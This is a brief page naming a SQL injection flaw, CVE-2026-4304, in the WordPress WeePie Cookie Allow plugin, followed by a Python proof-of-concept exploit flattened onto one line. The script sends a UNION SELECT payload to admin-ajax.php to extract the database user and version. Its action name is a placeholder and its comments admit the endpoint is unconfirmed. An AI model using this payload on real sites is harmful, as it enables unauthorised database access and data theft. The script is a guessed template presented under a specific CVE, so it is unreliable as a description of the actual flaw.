CVE-2026-4304 WordPress WeePie Cookie Allow插件SQL注入漏洞

import requests def exploit_sqli(target_url): # Vulnerable parameter identified in the advisory payload = "1' UNION SELECT null, user(), version(), null-- -" # Example endpoint, usually admin-ajax.php or a specific plugin endpoint # The exact endpoint needs to be confirmed via source code review or proxy interception endpoint = target_url + "/wp-admin/admin-ajax.php" data = { "action": "vulnerable_action", "consent": payload } try: response = requests.post(endpoint, data=data) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:") print(response.text[:500]) # Print partial response to check for data leakage except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "http://example.com" exploit_sqli(target)